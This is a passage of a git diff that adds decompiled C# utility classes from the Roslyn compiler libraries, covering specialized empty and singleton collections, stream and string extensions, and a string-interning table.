+ _set.Remove(value); + throw; + } + } + return true; + } + + public bool Remove(T value) + { + if (_set == null) + { + return false; + } + if (!_set.Remove(value)) + { + return false; + } + _elements.RemoveAt(_elements.IndexOf(value)); + return true; + } + + public bool Contains(T value) + { + return _set?.Contains(value) ?? false; + } + + public IEnumerator GetEnumerator() + { + if (_elements != null) + { + return ((IEnumerable)_elements).GetEnumerator(); + } + return SpecializedCollections.EmptyEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public ImmutableArray AsImmutable() + { + return _elements.ToImmutableArrayOrEmpty(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SharedStopwatch.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SharedStopwatch.cs new file mode 100644 index 0000000..215125a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SharedStopwatch.cs @@ -0,0 +1,29 @@ +using System; +using System.Diagnostics; + +namespace Roslyn.Utilities; + +internal readonly struct SharedStopwatch +{ + private static readonly Stopwatch s_stopwatch = Stopwatch.StartNew(); + + private readonly TimeSpan _started; + + public TimeSpan Elapsed => s_stopwatch.Elapsed - _started; + + private SharedStopwatch(TimeSpan started) + { + _started = started; + } + + public static SharedStopwatch StartNew() + { + StartNewCore(); + return StartNewCore(); + } + + private static SharedStopwatch StartNewCore() + { + return new SharedStopwatch(s_stopwatch.Elapsed); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SpecializedCollections.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SpecializedCollections.cs new file mode 100644 index 0000000..165f3c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SpecializedCollections.cs @@ -0,0 +1,629 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class SpecializedCollections +{ + private static class Empty + { + internal class Collection : Enumerable, ICollection, IEnumerable, IEnumerable + { + public static readonly ICollection Instance = new Collection(); + + public int Count => 0; + + public bool IsReadOnly => true; + + protected Collection() + { + } + + public void Add(T item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public bool Contains(T item) + { + return false; + } + + public void CopyTo(T[] array, int arrayIndex) + { + } + + public bool Remove(T item) + { + throw new NotSupportedException(); + } + } + + internal class Dictionary : Collection>, IDictionary, ICollection>, IEnumerable>, IEnumerable, IReadOnlyDictionary, IReadOnlyCollection> where TKey : notnull + { + public new static readonly Dictionary Instance = new Dictionary(); + + public ICollection Keys => Collection.Instance; + + IEnumerable IReadOnlyDictionary.Keys => Keys; + + IEnumerable IReadOnlyDictionary.Values => Values; + + public ICollection Values => Collection.Instance; + + public TValue this[TKey key] + { + get + { + throw new NotSupportedException(); + } + set + { + throw new NotSupportedException(); + } + } + + private Dictionary() + { + } + + public void Add(TKey key, TValue value) + { + throw new NotSupportedException(); + } + + public bool ContainsKey(TKey key) + { + return false; + } + + public bool Remove(TKey key) + { + throw new NotSupportedException(); + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + value = default(TValue); + return false; + } + } + + internal class Enumerable : IEnumerable, IEnumerable + { + private readonly IEnumerator _enumerator = Enumerator.Instance; + + public IEnumerator GetEnumerator() + { + return _enumerator; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + internal class Enumerator : IEnumerator + { + public static readonly IEnumerator Instance = new Enumerator(); + + public object? Current + { + get + { + throw new InvalidOperationException(); + } + } + + protected Enumerator() + { + } + + public bool MoveNext() + { + return false; + } + + public void Reset() + { + throw new InvalidOperationException(); + } + } + + internal class Enumerator : Enumerator, IEnumerator, IEnumerator, IDisposable + { + public new static readonly IEnumerator Instance = new Enumerator(); + + public new T Current + { + get + { + throw new InvalidOperationException(); + } + } + + protected Enumerator() + { + } + + public void Dispose() + { + } + } + + internal static class BoxedImmutableArray + { + public static readonly IReadOnlyList Instance = ImmutableArray.Empty; + } + + internal class List : Collection, IList, ICollection, IEnumerable, IEnumerable, IReadOnlyList, IReadOnlyCollection + { + public new static readonly List Instance = new List(); + + public T this[int index] + { + get + { + throw new ArgumentOutOfRangeException("index"); + } + set + { + throw new NotSupportedException(); + } + } + + protected List() + { + } + + public int IndexOf(T item) + { + return -1; + } + + public void Insert(int index, T item) + { + throw new NotSupportedException(); + } + + public void RemoveAt(int index) + { + throw new NotSupportedException(); + } + } + + internal class Set : Collection, ISet, ICollection, IEnumerable, IEnumerable, IReadOnlySet + { + public new static readonly Set Instance = new Set(); + + protected Set() + { + } + + public new bool Add(T item) + { + throw new NotSupportedException(); + } + + public void ExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public void IntersectWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return !other.IsEmpty(); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return false; + } + + public bool IsSubsetOf(IEnumerable other) + { + return true; + } + + public bool IsSupersetOf(IEnumerable other) + { + return other.IsEmpty(); + } + + public bool Overlaps(IEnumerable other) + { + return false; + } + + public bool SetEquals(IEnumerable other) + { + return other.IsEmpty(); + } + + public void SymmetricExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public void UnionWith(IEnumerable other) + { + throw new NotSupportedException(); + } + } + } + + private static class ReadOnly + { + internal class Collection : Enumerable, ICollection, IEnumerable, IEnumerable where TUnderlying : ICollection + { + public int Count => Underlying.Count; + + public bool IsReadOnly => true; + + public Collection(TUnderlying underlying) + : base(underlying) + { + } + + public void Add(T item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public bool Contains(T item) + { + return Underlying.Contains(item); + } + + public void CopyTo(T[] array, int arrayIndex) + { + Underlying.CopyTo(array, arrayIndex); + } + + public bool Remove(T item) + { + throw new NotSupportedException(); + } + } + + internal class Enumerable : IEnumerable where TUnderlying : IEnumerable + { + protected readonly TUnderlying Underlying; + + public Enumerable(TUnderlying underlying) + { + Underlying = underlying; + } + + public IEnumerator GetEnumerator() + { + return Underlying.GetEnumerator(); + } + } + + internal class Enumerable : Enumerable, IEnumerable, IEnumerable where TUnderlying : IEnumerable + { + public Enumerable(TUnderlying underlying) + : base(underlying) + { + } + + public new IEnumerator GetEnumerator() + { + return Underlying.GetEnumerator(); + } + } + + internal class Set : Collection, ISet, ICollection, IEnumerable, IEnumerable, IReadOnlySet where TUnderlying : ISet + { + public Set(TUnderlying underlying) + : base(underlying) + { + } + + public new bool Add(T item) + { + throw new NotSupportedException(); + } + + public void ExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public void IntersectWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return Underlying.IsProperSubsetOf(other); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return Underlying.IsProperSupersetOf(other); + } + + public bool IsSubsetOf(IEnumerable other) + { + return Underlying.IsSubsetOf(other); + } + + public bool IsSupersetOf(IEnumerable other) + { + return Underlying.IsSupersetOf(other); + } + + public bool Overlaps(IEnumerable other) + { + return Underlying.Overlaps(other); + } + + public bool SetEquals(IEnumerable other) + { + return Underlying.SetEquals(other); + } + + public void SymmetricExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + public void UnionWith(IEnumerable other) + { + throw new NotSupportedException(); + } + } + } + + private static class Singleton + { + internal sealed class List : IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection, IList, ICollection + { + private readonly T _loneValue; + + public int Count => 1; + + public bool IsReadOnly => true; + + public T this[int index] + { + get + { + if (index != 0) + { + throw new IndexOutOfRangeException(); + } + return _loneValue; + } + set + { + throw new NotSupportedException(); + } + } + + public List(T value) + { + _loneValue = value; + } + + public void Add(T item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public bool Contains(T item) + { + return EqualityComparer.Default.Equals(_loneValue, item); + } + + public void CopyTo(T[] array, int arrayIndex) + { + array[arrayIndex] = _loneValue; + } + + public bool Remove(T item) + { + throw new NotSupportedException(); + } + + public IEnumerator GetEnumerator() + { + return new Enumerator(_loneValue); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public int IndexOf(T item) + { + if (object.Equals(_loneValue, item)) + { + return 0; + } + return -1; + } + + public void Insert(int index, T item) + { + throw new NotSupportedException(); + } + + public void RemoveAt(int index) + { + throw new NotSupportedException(); + } + } + + internal class Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly T _loneValue; + + private bool _moveNextCalled; + + public T Current => _loneValue; + + object? IEnumerator.Current => _loneValue; + + public Enumerator(T value) + { + _loneValue = value; + _moveNextCalled = false; + } + + public void Dispose() + { + } + + public bool MoveNext() + { + if (!_moveNextCalled) + { + _moveNextCalled = true; + return true; + } + return false; + } + + public void Reset() + { + _moveNextCalled = false; + } + } + } + + public static IEnumerator EmptyEnumerator() + { + return Empty.Enumerator.Instance; + } + + public static IEnumerable EmptyEnumerable() + { + return Empty.List.Instance; + } + + public static ICollection EmptyCollection() + { + return Empty.List.Instance; + } + + public static IList EmptyList() + { + return Empty.List.Instance; + } + + public static IReadOnlyList EmptyBoxedImmutableArray() + { + return Empty.BoxedImmutableArray.Instance; + } + + public static IReadOnlyList EmptyReadOnlyList() + { + return Empty.List.Instance; + } + + public static ISet EmptySet() + { + return Empty.Set.Instance; + } + + public static IReadOnlySet EmptyReadOnlySet() + { + return Empty.Set.Instance; + } + + public static IDictionary EmptyDictionary() where TKey : notnull + { + return Empty.Dictionary.Instance; + } + + public static IReadOnlyDictionary EmptyReadOnlyDictionary() where TKey : notnull + { + return Empty.Dictionary.Instance; + } + + public static IEnumerable SingletonEnumerable(T value) + { + return new Singleton.List(value); + } + + public static ICollection SingletonCollection(T value) + { + return new Singleton.List(value); + } + + public static IEnumerator SingletonEnumerator(T value) + { + return new Singleton.Enumerator(value); + } + + public static IReadOnlyList SingletonReadOnlyList(T value) + { + return new Singleton.List(value); + } + + public static IList SingletonList(T value) + { + return new Singleton.List(value); + } + + public static IEnumerable ReadOnlyEnumerable(IEnumerable values) + { + return new ReadOnly.Enumerable, T>(values); + } + + public static ICollection ReadOnlyCollection(ICollection? collection) + { + if (collection != null && collection.Count != 0) + { + return new ReadOnly.Collection, T>(collection); + } + return EmptyCollection(); + } + + public static ISet ReadOnlySet(ISet? set) + { + if (set != null && set.Count != 0) + { + return new ReadOnly.Set, T>(set); + } + return EmptySet(); + } + + public static IReadOnlySet StronglyTypedReadOnlySet(ISet? set) + { + if (set != null && set.Count != 0) + { + return new ReadOnly.Set, T>(set); + } + return EmptyReadOnlySet(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StandardFileSystem.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StandardFileSystem.cs new file mode 100644 index 0000000..f33aadd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StandardFileSystem.cs @@ -0,0 +1,29 @@ +using System.IO; + +namespace Roslyn.Utilities; + +internal sealed class StandardFileSystem : ICommonCompilerFileSystem +{ + public static StandardFileSystem Instance { get; } = new StandardFileSystem(); + + private StandardFileSystem() + { + } + + public bool FileExists(string filePath) + { + return File.Exists(filePath); + } + + public Stream OpenFile(string filePath, FileMode mode, FileAccess access, FileShare share) + { + return new FileStream(filePath, mode, access, share); + } + + public Stream OpenFileEx(string filePath, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, out string normalizedFilePath) + { + FileStream fileStream = new FileStream(filePath, mode, access, share, bufferSize, options); + normalizedFilePath = fileStream.Name; + return fileStream; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StreamExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StreamExtensions.cs new file mode 100644 index 0000000..63b70e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StreamExtensions.cs @@ -0,0 +1,41 @@ +using System; +using System.IO; + +namespace Roslyn.Utilities; + +internal static class StreamExtensions +{ + public static int TryReadAll(this Stream stream, byte[] buffer, int offset, int count) + { + int i; + int num; + for (i = 0; i < count; i += num) + { + num = stream.Read(buffer, offset + i, count - i); + if (num == 0) + { + break; + } + } + return i; + } + + public static byte[] ReadAllBytes(this Stream stream) + { + if (stream.CanSeek) + { + long num = stream.Length - stream.Position; + if (num == 0L) + { + return Array.Empty(); + } + byte[] array = new byte[num]; + int newSize = stream.TryReadAll(array, 0, array.Length); + Array.Resize(ref array, newSize); + return array; + } + MemoryStream memoryStream = new MemoryStream(); + stream.CopyTo(memoryStream); + return memoryStream.ToArray(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringExtensions.cs new file mode 100644 index 0000000..c04e89e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringExtensions.cs @@ -0,0 +1,243 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class StringExtensions +{ + private static ImmutableArray s_lazyNumerals; + + private static readonly Func s_toLower = char.ToLower; + + private static readonly Func s_toUpper = char.ToUpper; + + private const string AttributeSuffix = "Attribute"; + + internal static string GetNumeral(int number) + { + ImmutableArray value = s_lazyNumerals; + if (value.IsDefault) + { + value = ImmutableArray.Create(new string[10] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }); + ImmutableInterlocked.InterlockedInitialize(ref s_lazyNumerals, value); + } + if (number >= value.Length) + { + return number.ToString(); + } + return value[number]; + } + + public static string Join(this IEnumerable source, string separator) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (separator == null) + { + throw new ArgumentNullException("separator"); + } + return string.Join(separator, source); + } + + public static bool LooksLikeInterfaceName(this string name) + { + if (name.Length >= 3 && name[0] == 'I' && char.IsUpper(name[1])) + { + return char.IsLower(name[2]); + } + return false; + } + + public static bool LooksLikeTypeParameterName(this string name) + { + if (name.Length >= 3 && name[0] == 'T' && char.IsUpper(name[1])) + { + return char.IsLower(name[2]); + } + return false; + } + + [return: NotNullIfNotNull("shortName")] + public static string? ToPascalCase(this string? shortName, bool trimLeadingTypePrefix = true) + { + return shortName.ConvertCase(trimLeadingTypePrefix, s_toUpper); + } + + [return: NotNullIfNotNull("shortName")] + public static string? ToCamelCase(this string? shortName, bool trimLeadingTypePrefix = true) + { + return shortName.ConvertCase(trimLeadingTypePrefix, s_toLower); + } + + [return: NotNullIfNotNull("shortName")] + private static string? ConvertCase(this string? shortName, bool trimLeadingTypePrefix, Func convert) + { + if (!RoslynString.IsNullOrEmpty(shortName)) + { + if (trimLeadingTypePrefix && (shortName.LooksLikeInterfaceName() || shortName.LooksLikeTypeParameterName())) + { + return convert(shortName[1]) + shortName.Substring(2); + } + if (convert(shortName[0]) != shortName[0]) + { + return convert(shortName[0]) + shortName.Substring(1); + } + } + return shortName; + } + + internal static bool IsValidClrTypeName([NotNullWhen(true)] this string? name) + { + if (!RoslynString.IsNullOrEmpty(name)) + { + return name.IndexOf('\0') == -1; + } + return false; + } + + internal static bool IsValidClrNamespaceName([NotNullWhen(true)] this string? name) + { + if (RoslynString.IsNullOrEmpty(name)) + { + return false; + } + char c = '.'; + foreach (char c2 in name) + { + if (c2 == '\0' || (c2 == '.' && c == '.')) + { + return false; + } + c = c2; + } + return c != '.'; + } + + internal static string GetWithSingleAttributeSuffix(this string name, bool isCaseSensitive) + { + string text = name; + while ((text = text.GetWithoutAttributeSuffix(isCaseSensitive)) != null) + { + name = text; + } + return name + "Attribute"; + } + + internal static bool TryGetWithoutAttributeSuffix(this string name, [NotNullWhen(true)] out string? result) + { + return name.TryGetWithoutAttributeSuffix(isCaseSensitive: true, out result); + } + + internal static string? GetWithoutAttributeSuffix(this string name, bool isCaseSensitive) + { + if (!name.TryGetWithoutAttributeSuffix(isCaseSensitive, out string result)) + { + return null; + } + return result; + } + + internal static bool TryGetWithoutAttributeSuffix(this string name, bool isCaseSensitive, [NotNullWhen(true)] out string? result) + { + if (name.HasAttributeSuffix(isCaseSensitive)) + { + result = name.Substring(0, name.Length - "Attribute".Length); + return true; + } + result = null; + return false; + } + + internal static bool HasAttributeSuffix(this string name, bool isCaseSensitive) + { + StringComparison comparisonType = (isCaseSensitive ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase); + if (name.Length > "Attribute".Length) + { + return name.EndsWith("Attribute", comparisonType); + } + return false; + } + + internal static bool IsValidUnicodeString(this string str) + { + int num = 0; + while (num < str.Length) + { + char c = str[num++]; + if (char.IsHighSurrogate(c)) + { + if (num >= str.Length || !char.IsLowSurrogate(str[num])) + { + return false; + } + num++; + } + else if (char.IsLowSurrogate(c)) + { + return false; + } + } + return true; + } + + internal static string Unquote(this string arg) + { + bool quoted; + return arg.Unquote(out quoted); + } + + internal static string Unquote(this string arg, out bool quoted) + { + if (arg.Length > 1 && arg[0] == '"' && arg[arg.Length - 1] == '"') + { + quoted = true; + return arg.Substring(1, arg.Length - 2); + } + quoted = false; + return arg; + } + + internal static char First(this string arg) + { + return arg[0]; + } + + internal static char Last(this string arg) + { + return arg[arg.Length - 1]; + } + + internal static bool All(this string arg, Predicate predicate) + { + foreach (char obj in arg) + { + if (!predicate(obj)) + { + return false; + } + } + return true; + } + + public static int GetCaseInsensitivePrefixLength(this string string1, string string2) + { + int i; + for (i = 0; i < string1.Length && i < string2.Length && char.ToUpper(string1[i]) == char.ToUpper(string2[i]); i++) + { + } + return i; + } + + public static int GetCaseSensitivePrefixLength(this string string1, string string2) + { + int i; + for (i = 0; i < string1.Length && i < string2.Length && string1[i] == string2[i]; i++) + { + } + return i; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringOrdinalComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringOrdinalComparer.cs new file mode 100644 index 0000000..8a5e8f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringOrdinalComparer.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal sealed class StringOrdinalComparer : IEqualityComparer +{ + public static readonly StringOrdinalComparer Instance = new StringOrdinalComparer(); + + private StringOrdinalComparer() + { + } + + bool IEqualityComparer.Equals(string? a, string? b) + { + return Equals(a, b); + } + + public static bool Equals(string? a, string? b) + { + return string.Equals(a, b); + } + + int IEqualityComparer.GetHashCode(string s) + { + return Hash.GetFNVHashCode(s); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringTable.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringTable.cs new file mode 100644 index 0000000..4c95e32 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/StringTable.cs @@ -0,0 +1,513 @@ +using System; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal class StringTable +{ + private struct Entry + { + public int HashCode; + + public string Text; + } + + private const int LocalSizeBits = 11; + + private const int LocalSize = 2048; + + private const int LocalSizeMask = 2047; + + private const int SharedSizeBits = 16; + + private const int SharedSize = 65536; + + private const int SharedSizeMask = 65535; + + private const int SharedBucketBits = 4; + + private const int SharedBucketSize = 16; + + private const int SharedBucketSizeMask = 15; + + private readonly Entry[] _localTable = new Entry[2048]; + + private static readonly Entry[] s_sharedTable = new Entry[65536]; + + private int _localRandom = Environment.TickCount; + + private static int s_sharedRandom = Environment.TickCount; + + private readonly ObjectPool? _pool; + + private static readonly ObjectPool s_staticPool = CreatePool(); + + internal StringTable() + : this(null) + { + } + + private StringTable(ObjectPool? pool) + { + _pool = pool; + } + + private static ObjectPool CreatePool() + { + return new ObjectPool((ObjectPool pool) => new StringTable(pool), Environment.ProcessorCount * 2); + } + + public static StringTable GetInstance() + { + return s_staticPool.Allocate(); + } + + public void Free() + { + _pool?.Free(this); + } + + internal string Add(char[] chars, int start, int len) + { + Span span = chars.AsSpan(start, len); + int fNVHashCode = Hash.GetFNVHashCode(chars, start, len); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(fNVHashCode); + if (localTable[num].Text != null && localTable[num].HashCode == fNVHashCode) + { + string text = localTable[num].Text; + if (TextEquals(text, span)) + { + return text; + } + } + string text2 = FindSharedEntry(chars, start, len, fNVHashCode); + if (text2 != null) + { + localTable[num].HashCode = fNVHashCode; + localTable[num].Text = text2; + return text2; + } + return AddItem(chars, start, len, fNVHashCode); + } + + internal string Add(string chars, int start, int len) + { + int fNVHashCode = Hash.GetFNVHashCode(chars, start, len); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(fNVHashCode); + if (localTable[num].Text != null && localTable[num].HashCode == fNVHashCode) + { + string text = localTable[num].Text; + if (TextEquals(text, chars, start, len)) + { + return text; + } + } + string text2 = FindSharedEntry(chars, start, len, fNVHashCode); + if (text2 != null) + { + localTable[num].HashCode = fNVHashCode; + localTable[num].Text = text2; + return text2; + } + return AddItem(chars, start, len, fNVHashCode); + } + + internal string Add(char chars) + { + int fNVHashCode = Hash.GetFNVHashCode(chars); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(fNVHashCode); + string text = localTable[num].Text; + if (text != null) + { + string text2 = localTable[num].Text; + if (text.Length == 1 && text[0] == chars) + { + return text2; + } + } + string text3 = FindSharedEntry(chars, fNVHashCode); + if (text3 != null) + { + localTable[num].HashCode = fNVHashCode; + localTable[num].Text = text3; + return text3; + } + return AddItem(chars, fNVHashCode); + } + + internal string Add(StringBuilder chars) + { + int fNVHashCode = Hash.GetFNVHashCode(chars); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(fNVHashCode); + if (localTable[num].Text != null && localTable[num].HashCode == fNVHashCode) + { + string text = localTable[num].Text; + if (TextEquals(text, chars)) + { + return text; + } + } + string text2 = FindSharedEntry(chars, fNVHashCode); + if (text2 != null) + { + localTable[num].HashCode = fNVHashCode; + localTable[num].Text = text2; + return text2; + } + return AddItem(chars, fNVHashCode); + } + + internal string Add(string chars) + { + int fNVHashCode = Hash.GetFNVHashCode(chars); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(fNVHashCode); + if (localTable[num].Text != null && localTable[num].HashCode == fNVHashCode) + { + string text = localTable[num].Text; + if (text == chars) + { + return text; + } + } + string text2 = FindSharedEntry(chars, fNVHashCode); + if (text2 != null) + { + localTable[num].HashCode = fNVHashCode; + localTable[num].Text = text2; + return text2; + } + AddCore(chars, fNVHashCode); + return chars; + } + + private static string? FindSharedEntry(char[] chars, int start, int len, int hashCode) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + int hashCode2 = array[num].HashCode; + if (text == null || (hashCode2 == hashCode && TextEquals(text, chars.AsSpan(start, len)))) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private static string? FindSharedEntry(string chars, int start, int len, int hashCode) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + int hashCode2 = array[num].HashCode; + if (text == null || (hashCode2 == hashCode && TextEquals(text, chars, start, len))) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private static string? FindSharedEntryASCII(int hashCode, ReadOnlySpan asciiChars) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + int hashCode2 = array[num].HashCode; + if (text == null || (hashCode2 == hashCode && TextEqualsASCII(text, asciiChars))) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private static string? FindSharedEntry(char chars, int hashCode) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + if (text == null || (text.Length == 1 && text[0] == chars)) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private static string? FindSharedEntry(StringBuilder chars, int hashCode) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + int hashCode2 = array[num].HashCode; + if (text == null || (hashCode2 == hashCode && TextEquals(text, chars))) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private static string? FindSharedEntry(string chars, int hashCode) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + string text = null; + for (int i = 1; i < 17; i++) + { + text = array[num].Text; + int hashCode2 = array[num].HashCode; + if (text == null || (hashCode2 == hashCode && text == chars)) + { + break; + } + text = null; + num = (num + i) & 0xFFFF; + } + return text; + } + + private string AddItem(char[] chars, int start, int len, int hashCode) + { + string text = new string(chars, start, len); + AddCore(text, hashCode); + return text; + } + + private string AddItem(string chars, int start, int len, int hashCode) + { + string text = chars.Substring(start, len); + AddCore(text, hashCode); + return text; + } + + private string AddItem(char chars, int hashCode) + { + string text = new string(chars, 1); + AddCore(text, hashCode); + return text; + } + + private string AddItem(StringBuilder chars, int hashCode) + { + string text = chars.ToString(); + AddCore(text, hashCode); + return text; + } + + private void AddCore(string chars, int hashCode) + { + AddSharedEntry(hashCode, chars); + Entry[] localTable = _localTable; + int num = LocalIdxFromHash(hashCode); + localTable[num].HashCode = hashCode; + localTable[num].Text = chars; + } + + private void AddSharedEntry(int hashCode, string text) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + int num2 = num; + int num3 = 1; + while (true) + { + if (num3 < 17) + { + if (array[num2].Text == null) + { + num = num2; + break; + } + num2 = (num2 + num3) & 0xFFFF; + num3++; + continue; + } + int num4 = LocalNextRandom() & 0xF; + num = (num + (num4 * num4 + num4) / 2) & 0xFFFF; + break; + } + array[num].HashCode = hashCode; + Volatile.Write(ref array[num].Text, text); + } + + internal static string AddShared(StringBuilder chars) + { + int fNVHashCode = Hash.GetFNVHashCode(chars); + string text = FindSharedEntry(chars, fNVHashCode); + if (text != null) + { + return text; + } + return AddSharedSlow(fNVHashCode, chars); + } + + private static string AddSharedSlow(int hashCode, StringBuilder builder) + { + string text = builder.ToString(); + AddSharedSlow(hashCode, text); + return text; + } + + internal static string AddSharedUtf8(ReadOnlySpan bytes) + { + bool isAscii; + int fNVHashCode = Hash.GetFNVHashCode(bytes, out isAscii); + if (isAscii) + { + string text = FindSharedEntryASCII(fNVHashCode, bytes); + if (text != null) + { + return text; + } + } + return AddSharedSlow(fNVHashCode, bytes, isAscii); + } + + private unsafe static string AddSharedSlow(int hashCode, ReadOnlySpan utf8Bytes, bool isAscii) + { + string text; + fixed (byte* bytes = utf8Bytes) + { + text = Encoding.UTF8.GetString(bytes, utf8Bytes.Length); + } + if (isAscii) + { + AddSharedSlow(hashCode, text); + } + return text; + } + + private static void AddSharedSlow(int hashCode, string text) + { + Entry[] array = s_sharedTable; + int num = SharedIdxFromHash(hashCode); + int num2 = num; + int num3 = 1; + while (true) + { + if (num3 < 17) + { + if (array[num2].Text == null) + { + num = num2; + break; + } + num2 = (num2 + num3) & 0xFFFF; + num3++; + continue; + } + int num4 = SharedNextRandom() & 0xF; + num = (num + (num4 * num4 + num4) / 2) & 0xFFFF; + break; + } + array[num].HashCode = hashCode; + Volatile.Write(ref array[num].Text, text); + } + + private static int LocalIdxFromHash(int hash) + { + return hash & 0x7FF; + } + + private static int SharedIdxFromHash(int hash) + { + return (hash ^ (hash >> 11)) & 0xFFFF; + } + + private int LocalNextRandom() + { + return _localRandom++; + } + + private static int SharedNextRandom() + { + return Interlocked.Increment(ref s_sharedRandom); + } + + internal static bool TextEquals(string array, string text, int start, int length) + { + if (array.Length != length) + { + return false; + } + for (int i = 0; i < array.Length; i++) + { + if (array[i] != text[start + i]) + { + return false; + } + } + return true; + } + + internal static bool TextEquals(string array, StringBuilder text) + { + if (array.Length != text.Length) + { + return false; + } + for (int num = array.Length - 1; num >= 0; num--) + { + if (array[num] != text[num]) + { + return false; + } + } + return true; + } + + internal static bool TextEqualsASCII(string text, ReadOnlySpan ascii) + { + if (ascii.Length != text.Length) + { + return false; + } + for (int i = 0; i < ascii.Length; i++) + { + if (ascii[i] != text[i]) + { + return false; + } + } + return true; + } + + internal static bool TextEquals(string array, ReadOnlySpan text) + { + return text.Equals(array.AsSpan(), StringComparison.Ordinal); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextChangeRangeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextChangeRangeExtensions.cs new file mode 100644 index 0000000..aecaa3e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextChangeRangeExtensions.cs @@ -0,0 +1,233 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Roslyn.Utilities; + +internal static class TextChangeRangeExtensions +{ + private readonly struct UnadjustedNewChange + { + public int SpanStart { get; } + + public int SpanLength { get; } + + public int NewLength { get; } + + public int SpanEnd => SpanStart + SpanLength; + + public UnadjustedNewChange(int spanStart, int spanLength, int newLength) + { + SpanStart = spanStart; + SpanLength = spanLength; + 